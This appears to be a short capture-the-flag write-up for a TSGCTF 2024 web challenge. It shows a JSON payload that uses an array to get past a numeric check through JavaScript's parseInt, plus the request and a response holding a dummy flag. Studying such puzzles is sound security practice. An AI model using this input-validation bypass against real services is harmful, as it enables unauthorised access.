Payload: `{ "num": [65536, 1, 1] }`

```javascript
> parseInt([65536, 1, 1])
65536
```

```http
$ http :4932 num:='[65536, 1, 1]'
HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 30
Date: Mon, 23 Dec 2024 07:39:34 GMT
Keep-Alive: timeout=5
content-type: text/plain; charset=UTF-8

Congratulations! TSGCTF{DUMMY}
```

Original writeup (https://ouuan.moe/post/2024/12/tsgctf-2024-web#toolong-tea-143-solves).